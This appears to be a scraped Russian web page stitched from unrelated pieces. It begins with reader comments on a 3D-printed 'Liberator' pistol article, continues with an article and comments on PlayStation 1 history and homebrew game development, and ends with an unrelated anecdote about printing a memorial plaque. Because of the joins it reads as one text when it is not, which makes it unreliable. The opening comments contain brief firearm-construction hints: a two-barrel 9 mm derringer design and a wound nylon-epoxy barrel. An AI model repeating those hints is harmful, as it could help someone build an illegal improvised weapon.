Дирриджеры были и есть разные — от дульнозарядных до .38 и даже .357 калибров. Изюминка либерейтора — возможность смены калибра под любой пистолетный патрон центрального боя, путем замены ствола. Делаем два ствола и двухкурковый УСМ. Стволы делаем под 9 мм Р.А. как легкодоступный в России патрон.!
Arcpool
Как хорошо, что я и дисклеймер прочитал)
P. S.: За статью спасибо.
Flammar
Собирается прикольно!
Прямо киндер сюрприз :)
t_gra
Какого ж размера должно быть шоколадное яйцо… хммм, а ведь это идея :)
ComodoHacker
Хотел сказать что былоб круто сделать 3д принтер печатающий шоколодам, но оказалось что его уже сделали(
nalimka
Напомнило фильм «Экзистенция»
ComodoHacker
пистолет из ката очень похож на пистолет Liberator, который разработал Коди Уилсон



Syra
Как работает «Освободитель»
liberator ['lɪb(ə)reɪtə] — сущ. освободитель; избавитель, спаситель
Он и есть же.
SKolotienko
За вот это:
пистолет из ката очень похож на пистолет Liberator, который разработал Коди Уилсон
Если бы вы удосужились перевести слово Liberator на русский язык, вы бы знали, что эти пистолеты похожи не случайно, а очень даже закономерно.

Подсказка
Это — два пистолета одной и той же модели. «Liberator» — это и есть «Освободитель».
BiW
Вот чем грозит законодательство РФ за печать такого огнестрельного оружия
logan
Один из самых здравых комментариев за всю ветку.
logan
Хотел пацанам принтер купить, модельки самолетов распечатывать. Теперь, задумался…
BiW
Задумайтесь так же как обезопасить их от досок, труб, спичек, магазина удобрений да и от гугла — чего уж там.
Если что, это был сарказм.
Воспитательную работу еще никто не отменял.
zadnica
А мне ваш чисто выдуманный фантастический рассказ очень «не» понравился, и картинки «не» впечатлили, есть и получше фотошоперы! Так что учитесь! И продолжайте практиковаться с фабулой и средствами редактирования изображений! Короче афтор пиши исчо, а я тем временем пойду кисточки 3D выбирать, может и сам чего нарисовать соберусь! Вы кстати какую краску использовали? Их два типа вроде есть…
nikitosk
Прочный ствол делается из этого тугой намоткой нейлоновой ткани, пропитанной эпоксидкой. Достаточно пару миллиметров толщины намотать, чтобы несколько выстрелов выдержало. Да, и при разрыве оно будет тогда не сразу на осколки разлетаться, пучиться сначала. А можно и попрочнее материалы для намотки найти. Но это глубоко теоретически. И не решает проблемы прочности задней стенки ствола.
mwizard
Я, конечно, не специалист в оружии, но когда мне когда-то было нужно сделать пушку, для ствола я использовал обсидиан. Возможно, это будет кому-то полезным.
Jammarra
Что за игра?
RDV
Minecraft.
ideasdigger
Точно.
AraneusAdoro
Ну теперь молитесь, чтобы кто нито из полиции не прочитал этот пост
ideasdigger
Ничего, если за мной выедут, я узнаю. И растворю в ацетоне эээ… сотру все рендеры.
mayorovp
Если у вас есть столько ацетона, то лучше сразу идти с повинной в изготовлении оружия и наркотиков, ибо пластик расстворится не успеет, а ацетон используют при изготовлении наркотиков.
arttemka

Staltec
Это он там уже растворяется потихоньку на заднем плане?
RusMikle
Это рендер.
g0dlike
а ведь так можно напечатать, ну…, к примеру, простого депутата! и запрограммировать его лоббировать интересы населения)
    В конце первой половины 90-х на рынок СНГ попала первая консоль от фирмы Sony — Playstation 1 или PSX. Ее можно считать уникальной со многих точек зрения, но для всех нас главным отличием пожалуй было то, что наконец-то в играх появилось полноценное видео, вменяемая 3D-графика, а также возможность сохранятся не при помощи пароля, судорожно ища бумажку(да простят меня читатели за неловкое сравнение, возникшее в их головах), а, как и подобает белому человеку, на цифровой носитель.

    

    На самом деле эта консоль обозначила собой тихую революцию и в программировании игр. Именно об этом я бы и хотел рассказать сегодня. И более того, если вы захотите написать свою игру для пылящейся в кладовке приставки, отомстив таким образом за творческое бессилие, испытанное в отрочестве, то под катом вы сможете получить представление о том, как это сделать.

Некоторые факты


    Это важно знать:
  • Playstation была первой распространенной консолью, которая поддерживала нормальное воспроизведение полноцветного видео. Для этого в консоли имелся специальный чип, который поддерживал аппаратное декодирование формата, близкого к JPEG. Но тем не менее разработчикам приходилось вручную отрисовывать каждый кадр и синхронизировать звуковую дорожку.
  • Из-за аппаратных ограничений было невозможно за один раз скопировать в видеопамять битмап размером больше 256x256 пикселей — так что все панорамы на заднем плане рисовались в 2-4 прохода.
  • Для игры с пиратских дисков нужно было производить операцию «чипования» консоли, для этого на материнскую плату консоли припаивался специальный контроллер, дававший Playstation стойкую продолжительную иллюзию того, что дешевая болванка в ее недрах является лицензионным диском. Найти нечипованную консоль в СНГ скорее всего было невозможно. На западе эта же проблема решалась более легально — для этого использовался трюк с подменой диска: во время загрузки BIOS вставлялся лицензионный диск, а сразу же после него болванка с игрой, которую требовалось запустить.
  • Memory card — обычная флэшка с емкостью 128 кбайт.
  • Для Playstation таки существовала мышь. Но кто знал об этом?
  • На консоли можно было проигрывать Video CD. Но кто знал, где их можно достать?
  • Выпуск Playstation 1 на бескрайних просторах дальней Азии был приостановлен только лишь потому, что Sony нужны были большие производственные мощности, чтобы увеличить выпуск Playstation 3. Днем траура можно считать 23 марта 2006 года.
  • Большинство игр для Playstation имеют разрешение 320x240.
  • Практически все китайские клоны Playstation, имеющиеся на рынке сегодня, запускают игры в режиме эмуляции, железо же отличается от оригинального, что ведет к неработоспособности некоторых игр. Зато вы сможете посмотреть купленный в соседней палатке DVD.
  • Последняя игра для Playstation, не являющаяся ни переизданием, ни кустарной поделкой, вышла в 2005 году. Всего игр было выпущено около 8000.
  • Также как сейчас проводятся мероприятия вроде Perl Workshop, тогда проводились слеты разработчиков для обмена опытом и демонстрации прототипов игр, находящихся в разработке. Материал каждого такого слета выпускался на диске, содержимое которого было очень похоже на то, что было на черных демо-дисках, поставлявшихся вместе с Playstation. Если соберете их все, то, сможете смотреть на местных филателистов свысока.
  • Самым распространенным приемом «урезания» игр с целью создания пиратских сборников была замена всех видеофайлов на короткие «заглушки» — секундные клипы с черным экраном.
  • В игровых клубах имели место драки из-за того, что места на картах памяти всем не хватало. Вообще же относительная дешевизна Playstation привела к тому, что первые игровые клубы массово открывались именно на ее базе. Так было в периферии, в столицах же клубы с Sega или просто компьютерами были и раньше.


С чего начинается разница


    Мало кто знает, но программирование для других распространенных консолей того времени представляло сущий ад(с точки зрения программиста не питающего любви к ассемблеру). Геймдев того времени скорее напоминал современное программирование микроконтроллеров, со всеми вытекающими последствиями — отсутствием нормального интерфейса к файловой системе, ручное генерирование частоты звука, обращение к I/O портам для каждой операции, и ассемблер, ассемблер, очень много ассемблера. Были и прочие мелкие радости вроде нескольких процессоров в одной консоли, или же оперативной памяти не имеющей непрерывного диапазона. Всех мелочей и не припомнишь. Единственной приставкой того времени, которая могла бы похвастать гуманизмом по отношению к программистам была Panasonic 3DO, которая все же не сыскала популярности в СНГ(да и в остальном мире тоже).
    Чтобы понять ту степень безысходности, которая имела место при программировании для тогдашних наиболее распространенных приставок взгляните на эти характеристики:
Консоль Процессор Объем ОЗУ Ограничения носителя Объем видеопамяти
Dendy/Nes 1,66-1,79 Мгц 2 КБ 48 КБ 2 КБ
Sega Mega Drive 7,61 Мгц 64 КБ 4 МБ 64 КБ
Playstation 1 33,8688 МГц 2 МБ около 700 МБ 1 МБ

    Конечно, имели место хитрости с целью увеличения возможностей картриджных консолей — картридж, по сути дела,электронная схема, со множеством выводов, далеко не все из которых были предназначены для считывания данных из ПЗУ картриджа. Что можно разместить на схеме? Да что угодно — дополнительное ОЗУ, контроллер ПЗУ с возможностью маппинга данных больших игр в допустимое адресное пространство ввода-вывода. Главное, чтобы консоль поддерживала интерфейс для взаимодействия с подобными устройствами картриджа. И она, как правило, поддерживала! Таким образом программирование игр не сводилось только к разработке кода, порой требовалось «доделывать» игру аппаратно, чтобы хоть как-то превзойти скудные возможности консолей того времени. Однако, немногим из многих, имеющих Dendy на постсоветском пространстве,посчастливилось иметь дело с картриджами, вмещающими существо мифическое и полубожественное — а именно «батарейку», на которую можно было бы сохранить игру.
    Сие непотребство закончилось с приходом Playstation: во-первых консоль обладала достаточно внушительными характеристиками и могла конкурировать с компьютерами того времени на которых работал DOS(что обусловило немалое число игр, которые были портированы с PC на Playstation), во-вторых игра теперь располагалась на компакт-диске, что означало невозможность каких-либо аппаратных ухищрений. Короче говоря, приход Playstation положил раздел двум эпохам — той, когда костыли считались хорошей практикой, и той, когда костыли стали считаться костылями. Но когда одна эпоха сменяет другую всегда появляются ретрограды, свято чтущие былые заветы — именно благодаря их самоотверженному труду на рынок попали несколько игр, которые работают только на самых ранних ревизиях Playstation. Так, меняя адреса портов устройств от ревизии к ревизии, инженеры Sony мягко, но настойчиво, давали разработчикам понять, что официальная SDK и подробная документация были даны им неспроста.
    Программирование для Playstation было настолько простым, что помимо специальных аппаратных станций(Dev Unit), продаваемым профессиональным разработчикам игр по цене порядка 35 000 $, Sony выпускала специальную версию консоли для домашних разработчиков, называемую Net Yaroze и сравнимую по стоимости с самой приставкой.

Как это делалось


    Выше уже было сказано о том, что для ранних консолей программирование велось почти исключительно на ассемблере. В случае же Playstation де-факто стандартом разработки стал язык С. Нормальный С, без ассемблерных вставок, сношений в порты и каких либо серьезных ограничений — вам больше не нужно было писать свою реализацию strncat или же писать свою библиотеку для ввода-вывода, если вы просто хотели прочитать файл с диска.
    Еще одним немаловажным отличием от предыдущих консолей стало то, что разработчик получал полноценный API интерфейс для всех аппаратных возможностей консоли вроде сопроцессора для векторных вычислений. SDK, поставляемая Sony имела обертки для всего, что только могло пригодиться, что давало возможность по-настоящему абстрагироваться от особенностей консоли. В результате портирование игр из-под DOS часто оборачивалось только переписыванием слоев, отвечающих за графику и звук.
    В целом же разработка для типового программиста носила такой характер: к Playstation через разъем, указанный на рисунке, подключался модуль разработки, подключавшийся к компьютеру. Через этот мост происходила загрузка EXE-файла в оперативную память приставки, и через него был возможен вывод отладочной информации на компьютер. Так же, как сейчас многие кустарные веб-студии испытывают нехватку техники Apple для тестирования своих приложений, разработчики игр для Playstation испытывали нехватку Dev Unit'ов. Таким образом большой непонятный порт на задней панели приставки должен служить немым напоминанием о том, что некоторые вещи не меняются даже спустя почти два десятилетия.

    Конечно, далеко не каждому из разработчиков хватало самообладания, чтобы написать игру на опостылевшем С. И тогда в ход шло коронное оружие амбициозного разработчика — самодельный язык программирования. Достоверно известно, что как минимум 2 серии игр постигла такая участь — Crash Bandicoot, который был написан на самопальном диалекте лиспа, а также вся линейка Final fantasy до 9 части, движок которой перекочевал через кучу платформ и имел свой собственный интерпретируемый ассемблер. Про создание обеих игр можно почитать тут:
Crash Bandicoot:http://all-things-andy-gavin.com/2011/02/02/making-crash-bandicoot-part-1/
Final fantasy: http://q-gears.sourceforge.net/gears.pdf

Как это делалось у нас


    Значимость Playstation также в том, что ее диски могли быть прочитаны на любом компьютере и записаны на нем же. Что породило невиданную для остальных консолей волну пиратства. Теперь для того, чтобы сделать перевод игры достаточно было иметь дизассемблер для архитектуры MIPS, а также пишущий CD-ROM. Возможно именно тот факт, что для перевода этих игр требовалось столь мало породило столь плохое качество первых переводов. Можно расценивать это как идеальную иллюстрацию деления людей на технарей и гуманитариев: когда у человека хватало знания английского аккурат настолько, чтобы изучить справочник к дизассемблеру, на выходе мы получали перевод столь обильно сдобренный жаргоном и матом, что сюжет игры несколько терялся; с другой же стороны, когда выдранные отладчиком тексты, пересылались на перевод желающему подработать студенту филфака, на выходе получался настолько литературный и оторванный от сути перевод, что редкий технарь мог понять, как же именно пройти описываемый квест.
    Другой стороной относительной легкости модификации программного кода игр стала возможность собирать несколько игр на один диск, на радость ограниченной в средствах детворе. Для самых популярных игр вшивались тренеры — загрузчики,которые до смерти запатчивали декремент жизней, патронов и т.д.
    Демосцена была на удивление мала и толком не образовалась и по сей день. Поэтому я настоятельно прошу всех, кто имел хоть какое-то отношение к пиратству игр для консолей рассказать об этом! Я буду очень благодарен тем, с кем смогу пообщаться на эту тему подробно.

Особенности геймдева


    Массово игры для Playstation перестали выходить примерно в 2002-2003 году, но энтузиасты не сдаются и пытаются продолжать это благородное дело. Сделать это можно двумя способами — именно столько приличных SDK существует для Playstation сегодня. О том, где можно достать обе вы сможете прочитать в конце.

Psy-Q

    Это официальная SDK, выпущенная Sony для профессиональных разработчиков игр. Содержит в себе компилятор С, а так же все необходимые библиотеки. Имеется также множество инструментов для обработки графики и приведения ее к формату,пригодному для обработки Playstation, часть инструментов уже бесполезна ввиду наличия современных аналогов, часть существует непонятно для чего — документация к ним утеряна.
    Данная SDK правда позволяет писать игры высокого качества, но имеет один недостаток — она рассчитана для работы под управлением ОС Windows 95-98, уже на XP вы можете столкнуться с проблемами. Но даже с ней создание игр, использующих3D-модели будет затруднено — в те времена использовались довольно специфичные 3D-редакторы, а SDK содержит лишь инструмент для конвертации моделей из форматов многолетней давности.
    Вообще, эту SDK стоит попробовать только лишь для того, чтобы понять на чем приходилось работать программистам того времени и насколько несовершенны были их инструменты по сравнению с сегодняшним днем.

PSXSDK

    Начиная с 2008 года на свет появилась полностью открытая SDK, базирующаяся на компиляторе GCC и развивающаяся по сей день. Она позволяет создавать только 2D-игры — ну или, если вы чувствуете в себе силы написать движок для рендеринга 3D на С, то вам дороги все открыты. Написать видео-проигрыватель на ней тоже будет проблематично, но в целом это лучший вариант для начала программирования.
    Из приятных плюсов — при помощи этой SDK можно скомпилировать такие вещи как gzip, libpng и т.д. — любой современный plain C код. Так у автора получилось скомпилировать Lua ранних версий для работы на Playstation. Поэтому, если вы знаете какую-либо библиотеку, рассчитанную на работу в микроконтроллерах, реализующую базовую работу с 3D-графикой вроде рендеринга полигонов или маппинга текстур, то это будет хорошим подспорьем для проекта.
    Документация на данный момент пишется мной, причем в свободное от работы время. Зато есть примеры кода, используя которые, свой Super mario или аналог почти любой флэш-игры написать более чем возможно.
    К тому же данная SDK успешно работает как под Windows, так и под Linux. Да чего греха таить — подо всем под чем вы только сможете собрать ее.

Коммьюнити


    Сообщество энтузиастов поделено на 2 группы, в зависимости от использования SDK. При этом группа, которая использует Psy-Q имеет более «железную» направленность, вроде моддинга консолей. Таким образом происходит распыление усилий и без того небольшого числа людей. Разнятся и места обитания членов обеих коммьюнити:
Psy-Q:
irc: irc.eversible.com #psxdev
форумы:http://psxdev.net/

PSXSDK:
irc: irc.freenode.net #unhaut
форумы:http://unhaut.fav.cc/forums
сайт проекта:http://code.google.com/p/psxsdk

    Если вам известны какие-либо русскоязычные коммьюнити, занимающиеся разработкой под Playstation или переводом игр, или же вы занимались переводами этих игр в свое время, или же у вас остались какие-то инструменты или документация от людей,которых вы знали и которые этим занимались, пожалуйста напишите мне! Более того, если вы обладаете сведениями об аппартно-независимых С-библиотеках для рендеринга 3D-графики, которые к тому же нетребовательны к ресурсам, то опять таки — пишите!
mayorovp
В игровых клубах имели место драки из-за того, что места на картах памяти всем не хватало.
В нашем магазине эта проблема была решена с «советской элегантностью» — карт памяти просто не было в принципе. И никто не знал, где их можно достать…
shpaker
Это жестоко, без записей в самые сладкие игры для плейстейшн играть просто нет смысла. Я до сих пор помню как обидно когда твою запись с Final Fantasy какой-нибудь умник перезаписывал или удалял.
un_def
Знакомый прошёл-таки двухдисковую (!) Oddworld без карты памяти, начиная каждый раз сначала и проходя чуть дальше. Школу приходилось пропускать, но ведь оно стоило :)
rblv
Это что, я месяц приставку не выключал когда Gran Turismo 2 проходил.
shpaker
В GT2 (на диски симулятор вроде) помнится были очень долгие заезды. Мы играли втроём посменно.
sphinks
То были гонки Endurance, на выносливость, играли вдвоем, гонка долгая и ставка высока была.)
anycolor
ага, например на 99 кругов. Garbage — I think I'm paranoid за это время можно было заучить напамять.
mrded
А в Gran Turismo 2 уже появились 24 часовые трассы, как в третьей части? :)
rblv
Я так уже и не вспомню.
anycolor
нет, только на 99 кругов.
megalol
Я Resident Evil проходил не выключая. ЧП случилось один раз, когда в районе plant 42 кто-то выключил.
А на карту памяти денег просто не было, это было чуть позже августа 98.
VBKesha
После очередного удаление записи FF8, плюнул и купил свою карту. В итоге с другом потом не знали таких проблем. Но куда больше было радости когда через 5 лет удалось скинуть записи с карты на комп, и поиграть в старые игры уже с пройденных мест.
Jeditobe
Как скидывали?
VBKesha
Через самодельный переходник на основе LPT из 74HC244, в принципе в интернете есть информация, но если интересно могу попробовать оформить как статью.
kiberkot
С удовольствием почитаю. У самого лежит уже лет 13 карта памяти со вкусными сейвами.
iPharaon
Мы просто покупали свои карты памяти и ходили с ними, изредка давая товарищам попользоваться, естественно не просто так.
anycolor
у нас в клубе было 2 приставки и 3 больших карты памяти, всегда всем хватало :)
nukie
В голове не укладывается, как на таком железе можно было рендерить столь хорошую графику с нормальным FPS
Monty
А графика там не была хорошей. Нет сглаживания, сильные геометрические искажения текстур при наложении. На 3DO картинка лучше.
andreishe
Со сглаживанием телевизоры замечательно справлялись в те годы.
datacompboy
не то что современная пиксельная жуть :)
Jeditobe
Интересно, какая из игр выжимала из железа плейстешен самый возможный максимум?
shpaker
Вот не знаю выжимает максимум или нет из железа, но мне заполнилась графика из FinalFantasy 9.
Да и в википедии всякое пишут
Final Fantasy IX создавалась в поздний период эпохи 32/64-разрядных игровых систем, и компания Square к этому времени на PlayStation выпустила более двух десятков игр, поэтому разработчики, отвечавшие за производительность и быстродействие, отлично понимали технические возможности консоли и в отношении визуализации смогли добиться поистине высоких результатов
Jeditobe
Беда в том, что лично я надух не переношу эти Финал Фентези… Поэтому и интересуюсь, кроме них что-то было?
anycolor
Было много чего. Почти на грани были созданы Tekken 3 и многие другие игры
XProger
Журналюги писали про Driver и Need For Speed 3.
Wernisag
Однако, немногим из многих, имеющих Dendy на постсоветском пространстве, посчастливилось иметь дело с картриджами, вмещающими существо мифическое и полубожественное — а именно «батарейку», на которую можно было бы сохранить игру.

Это было на Сеге, как правило на спортивных симуляторах, которые за час-два не пройти, а ситуация менялась настолько сильно (взять хотя бы трансферы в NHL 98), что никаких паролей не хватило бы.

Хабр торт
Vladislaff
У меня на картридже для сеги в игре Shining Force 2 было 4 слота для сохранения, но батарейки я на нем не заметил.
FeNUMe
В Rings of Power был разъем под батарейку, но к сожалению даже с ней сейвы не работали(перепробовали штук 10 разных картриджей) — тогда грешили что к нам кривые пиратки привозят. В итоге сега работала сутками не выключаясь ради прохождения этой игры.
Griever
и как, прошлась? если да, это просто геройство какое-то.
у меня не было батарейки в ней :(
FeNUMe
Да прошлась. Сейчас это даже в голове не укладывается, как без нормального знания английского и прохождений в инете мы с друзьями ее осилили. Кстати после первого раза мы научились проходить ее быстро, всего за пару часов.

sphinks
Там первые пару сражений разбираешься и по новой начинаешь) я так долго пытался понять как пройти один из первых боев. сложная игра, к сожалению не хватило терпения.
coffeecupwinner
как без нормального знания английского и прохождений в инете мы с друзьями ее осилили

Мы с братом независимо друг от друга прошли на Денди японскую версию Banana Prince, которая мало того что длинная, так еще и с викторинами на японском. Самый ужас был в уровне с башней: после того как забираешь на крышу (а это несколько минут) нужно было ответить безошибочно на 5-10 вопросов на японском (по 3 или 4 варианта ответа для каждого). Отвечаешь неверно — скидывают вниз. В итоге запомнили все вопросы и ответы визуально (записывать даже и не думали).
Polco
Там был «хак» (на самом деле балансовая недоработка) с торговлей, когда каким то одним товаром (самый дорогой, уже не помню как назывался) можно было барыжить с нереальной маржой. Фактический это давало возможность бесконечных денег часа за два.

И да, батарейка у меня тоже не работала )
roman_pro
Аналогично долго искал картридж на SMD Uncharted Waters 2: New Horizons с работающей функцией сохранения, но так и не нашёл. В том что был пробовал менять батарейку, но это не помогло, сейвы так и не заработали. Как результат приставка не выключалась по несколько дней (благо блок питания оказался нормальным и не перегревался), но в итоге игра была пройдена за всех персонажей. Разумеется сюжетную линию игры можно выполнить и быстрее, но кайфа от такого прохождения (скорее «пробегания») мало, т.к. в нём половина «вкусняшек» игры останется за бортом — мощные корабли и секретные пушки после развития портов до максимума, лучшие мечи/доспехи (тоже секретные), торговля золотом из южной Америки с миллионными прибылями, ну и разумеется грозные пираты типа Idin Leis и Khayr ad-Din в своей команде + ещё один высокоуровневый персонаж Pilly Reis, которого не так просто завербовать.
GeckoPelt
В Donkey Kong Land для старого черно-белого Game Boy тоже была возможность сохранения игр в недрах картриджа
BeLove
Как я был счастлив, когда нашел в своем городе FF для Сеги с батарейкой :)
un_def
Встречал картриджи Light Crusader и Immortal с батарейкой. Light Crusader благодаря ей прошёл (правда, вместо литиевой «таблетки» пришлось использовать 2 пальчиковых, подключенных к картриджу «на лету», когда выяснилось, что бросать игру в процессе прохождения ой как жалко, но это уже совсем другая история).
FantasyOR
Батарейка была в Пиратах карибского моря на Sega MDII. т.к. за день (сколько позволяли взрослые) всё не захватить… дааа а какие там были баталии…
PerlPower
На картриджах денди она тоже должна была быть, но только не наших оранжевых пиратках.
www.the9thkey.com/games/Nesbatt.htm
Vokabre
Далеко не на всех.
nitro80
Мне батарейка встречалась за все годы только раз, и то, это был картридж, который «кто-то кому-то привёз с загранки».
sphinks
был NHL 98, впервые увидел место под батарейку там, купил батарейку, а сохранения так и не заработали, кстати были потом еще пару игр с таким же способом сохранения, но и они не работал. может кто знает что не так было в этих картриджах?
kirillre4
На денди тоже были сохранения, хотя и не так уж много.
Gryn
А еще для Сеги был особый картридж — «взломщик кодов».
Являл собой что то вроде переходника, между картриджом и приставкой.
По принципу работы было похоже на современные трейнеры для игр.
Правда, через него практически все игры висли…
dasm32
Вы про Game Genie?
Gryn
Загуглил, да — оно.
Но у меня была какая то отечественная поделка, на русском.
Может, от этого и висли игры.
Karapuzzzz
Мне родители купили тогда «задорого» Mortal Kombat 3 Ultimate с батарейкой. Все отлично сохранялось. А вот другие картриджи с этой игрушкой были без нее.
Вот только из-за этой игрушки была куплена книга и мы (с друзьями) специально «дрались» только для того, чтоб потом положить пульт на пол (так было удобнее) и барабанить пальцами ради Fatality, Animality или Brutality.
shpaker
Вот всё детство играли в МК3, а сейчас читаю и понять не могу что там можно было сохранять?
Wernisag
На вери харде достаточно большой столбик был в сравнении с самым легким уровнем.
boramod
На «Dendy» была игра «Best of the best» — спортивный симулятор карате. Картридж содержал чип eeprom и позволял сохраняться в несколько слотов.

StrangeAttractor
В игровых клубах имели место драки из-за того, что места на картах памяти всем не хватало.

Это ещё что, вот мне уже в 21-м веке приходилось драться, чтобы поиграть (в Heretic) на 486-м (в отдалённом от цивиллизации месте, где это был единственный работающий компьютер, желающих было много и больше заняться было не чем).
w23
Софтрендер-библиотек на C, мягко скажем, дохрена. Одних только OpenGL-реализаций можно найти от TinyGL (крошечный сабсет OpenGL 1.1) до Mesa (полноценная реализация OpenGL 3).
Но вообще, такое интереснее писать самому. Если не помнить линейку и не иметь особого опыта в графике, то свой софтрендер можно с гуглом пополам соорудить за месяц, думаю.
Ну а потом потратить годы на оптимизацию и переписывание на ассемблер.
jakobz
Я так понимаю что там все-таки не программный рендеринг — там есть железные примочки для ускорения 3D. Короче чтобы быстро было, нужно большую часть написать руками с использованием особенностей железа.
amarao
Интерпретируемый ассемблер — это байткод для виртуальной машины, нет?
tronix286
Не, автор не это имел ввиду. Он имел в виду скорее некий макро-ассемблер, когда существуют уже подготовленные макросы для наиболее часто встречающихся операций, и фактически, можно писать конструкции вида if a > b then blabla else blabla прямо в листинге. Потом вся это байда конвертируется в обычный ассемблер и компилируется под платформу. Код на выходе при этом как правило выглядит чуть хуже, чем если бы его писал школьник-индус.
datacompboy
зато в тех местах, где не требуется производительности — это сильно упрощает жизнь и снижает число ошибок.
всё как всегда.
tronix286
Дык то да. Никто не спорит.
PerlPower
Вы можете ознакомиться с этим вопросом подробнее здесь q-gears.sourceforge.net/gears.pdf. С девятой страницы.
horror_x
Автор сильно преувеличил. Обычный байткод самопального скриптового языка там. Даже сейчас в играх часто логику пишут на Lua, например.
uzverkms
Пиратки с переводом появились очень не сразу. И в том числе благодаря этому я существенно пополнил свой словарный запас английского :)
Nagg
>>Для Playstation таки существовала мышь. Но кто знал об этом?
У меня была, очень удобно было играть в стратегии (балдел от игры в Red Alert) и по-моему в Quake.
shpaker
Вот интересно стало, а есть ли какие-нибудь живые русскоязычные ресурсы (форумы например) на тему PSXSDK?
PerlPower
К сожалению, на русском языке пока ничего нет. Та английская документация, что есть находится здесь:
github.com/zargener/psxsdkdoc,
еще немного здесь: forgotten-blog.narod.ru/

dotbarsik
Статья интересная, но тут же вспомнил другую.

Чудак на Ebay продают свою коллекцию игровых приставок, собранных за 30 ЛЕТ:

Ссылка на лот:
www.ebay.com/itm/121062811693

Альбом с фотографиями коллекции:
imageshack.us/user/videogamesmuseum
Vokabre
Аукцион закончился, а коллекцию так никто и не купил.

А ведь 550000 долларов это всего лишь шестнадцать с половиной миллионов рублей, как небольшая квартира в Москве. Можно даже Хабром скинуться. По статистике всего здесь 264363 юзеров, даже если брать только тех, кто не ридонли, то с каждого по 270 рублей и профит!
Smi1e
Справедливости ради, стоит отметить, что коллекция действительно поражает воображение.
Nedder
Сборник не полный, нет Электроники — «Волк ловит яйца».
nitro80
Дык может у кого есть — пошлёт ему?
Vokabre
Нинтендовский Геймэндвоч есть, так что можно засчитать.
hotcoffee
Вроде есть волк:
habrastorage.org/storage2/6a9/ca9/62f/6a9ca962feed5c157ce9824b44bdf986.jpg

Не вставляется картинка ;(
Alexufo
Раз и два. Гениальнейшие.

Два.

Во вторую рубал тот самый "Крутой учитель Анидзука"
dotbarsik
Вот, это игра доставляла массу удовольствия. Я до сих пор помню почти все скоротилки :)

habrastorage.org/storage2/4e7/466/ee8/4e7466ee831f302f482ee2b8c499ec3c.jpg

Вот это тоже была поистине крутая игра :)

habrastorage.org/storage2/241/68f/9f8/24168f9f8199da65043ae1deb11a0cb8.jpg

П.с: Что-то не могу нормально картинки вставить. Как ни пробовал не получается.
ZeroOne_01
Robotex
Хотелось бы почитать про создание игр под денди.
karellen
Да, 33 МГц / 2 МБ памяти, но многие даже современные игры не дотягивают по красоте, не говоря уже о геймплее и смысле, до FF7/8/9/T. Спасибо за ссылку, очень интересно было почитать про Gears.
Navij
Ну в плане графики спорно – FF7/8/9 пользовались заранее отрендеренными задниками ( ну кроме битв и карты мира, конечно), так что тут скорее дизайну хвала, чем именно технической части. А вот про ресурсы — действительно, читая такие цифры, понимаешь, что современный софт и игры непомерно, непростительно прожорливы.

Хотя написать игру с современным уровнем графики и одновременно с таким же вниманием к производительности, какая была на старых консолях\компьютерах, слишком затратно – нужна туева хуча высококлассных кодеров-гуру, их рабочего времени и нервов. Тем более что прогресс видеочипов позволяет не тратить столько ресурсов на оптимизацию.
nzeemin
Интересна также история создания PlayStation, переводил её для ру-вики: ru.wikipedia.org/wiki/PlayStation
Первоначально это был совместный проект Nintendo и Sony, но накануне выставки CES 1989 произошла резкая перемена курса.

Ну и в целом по статье — сравнивать PS, консоль V-го поколения, с приставками III (NES) и IV (SNES, Sega Mega Drive) несколько некорректно — это разные временнЫе периоды.
Vokabre
Вообще интересно, что помимо PS были дисковые Atari Jaguar и Sega Saturn, местами даже мощнее PS, но разработка под обе системы вроде бы была довольно злобной задачей, так PS и взлетел. N64 ещё очень даже хорошо себя чувствовал, хотя картриджным был, а дисковое дополнение к нему провалилось.
PerlPower
«Некорректное» сравнение было сделано с целью показать тот качественный рывок, который позволил значительно снизить долю системного программирования в разработке игр.
zag2art
Чувствую себя старым… История IT. Сонька в истории… Эхх
GeckoPelt
Да, вроде недавно еще это было что-то такое крутое и недостижимое, технология будущего :)
JagaJaga
Ох, у меня даже есть книжка с кодами к играм :)
GeckoPelt
Типа такие?:) Описание стопицот игр не самым правильным русским языком, плюс коды и любительские иллюстрации:)
У меня где-то валяются до сих пор!

panc
У меня у соседа была не чипованная, ему её из Германии привозили вроде, все лицензионные диски почему-то чёрные были.
shpaker
именно! черные!
panc
Самую восхитительную приблуду к PS One я видел в рекламе на одной из страниц журнала Official Playstation [Russia]. Между страницами с описанием игры Klonoa и «Письма читателей» предлагалось за каких то $200 купить контроллер-перчатку! Вместо нажатия кнопок предполагалось сгибать/разгибать пальцы: каждая фаланга отвечала за конкретное действие. Для десятилетнего (кажется) меня это было сродни трёхмерному полупрозрачному дисплею сейчас.
bukt
А как же tekken 3?? Неужели никто компанией не играл по несколько часов, пока мама не выгонит? :)
JagaJaga
Бывало что не несколько часов, а 3 дня с 11.00 до 22.00 с перерывом на обед. По системе кто проиграл передает джойстик, весёлые времена были, два месяца работал «админом» в салоне из пяти PSX. Зарубы в Tekken были эпичные, а ещё Vigilant 8, Twsted Metal 3, Cool Boarders 3, Q2, Forsaken, ну и конечно же FF8, FF9. Как мало было для счастья надо.
VBKesha
Да много во что играли. Ностальгии пост.

Чаще всего в Red Alert 2 по сетке играли (да, у PS была возможность соединить две консоли сетевым кабелем и поиграть по сети).
anycolor
серьёзно? не слышал о таком. отличная идея! во втором поколении продолжалась?
jazzman
к сожалению или счастью — я ко времени выхода второй Сони «подрос» до компьютера :)
anycolor
Я тоже в 2002м «подрос» до компа. Но через пять лет всё равно прикупил PSP, которая по сей день время от времени развлекает меня играми PS1 и GBA.
shpaker
anycolor
Соединить кабелем можно было еще две сеги и совместно проходить Zero Tolerance.
Smi1e
Прикольно.
zag2art
Red Alert 2 это который Retalition на PS1? ))
shpaker
да, да, именно он. Ошибся, не 2 ред алерт.
anycolor
А мы рубились вчетвером на одной консоли через мультитаб — четыре геймпада сразу. Даже помню игры для четверых игроков, Crash Bash, например.
igrishaev
В Quake2 вроде тоже можно было вчетвером.
shpaker
Мы вчетвером играли в WWF Smackdown 2.
Когда я устроился на работу мне поначалу доставляли удовольствие такие диалоги:
— Ты устроился на работу? — Да!
— И где ты работаешь? — На кладбище!
— О, БОЖЕ!

Я причастен к мемориальной доске Валерия Лобановского, которую повесили у входа в главный корпус ОНПУ.
В процессе печати я чуть не запорол верхний значок, и костюм Лобановского. Зато узнал, кто он такой. Но не понимаю, зачем Политеху эта табличка, но мне, собственно, все равно.

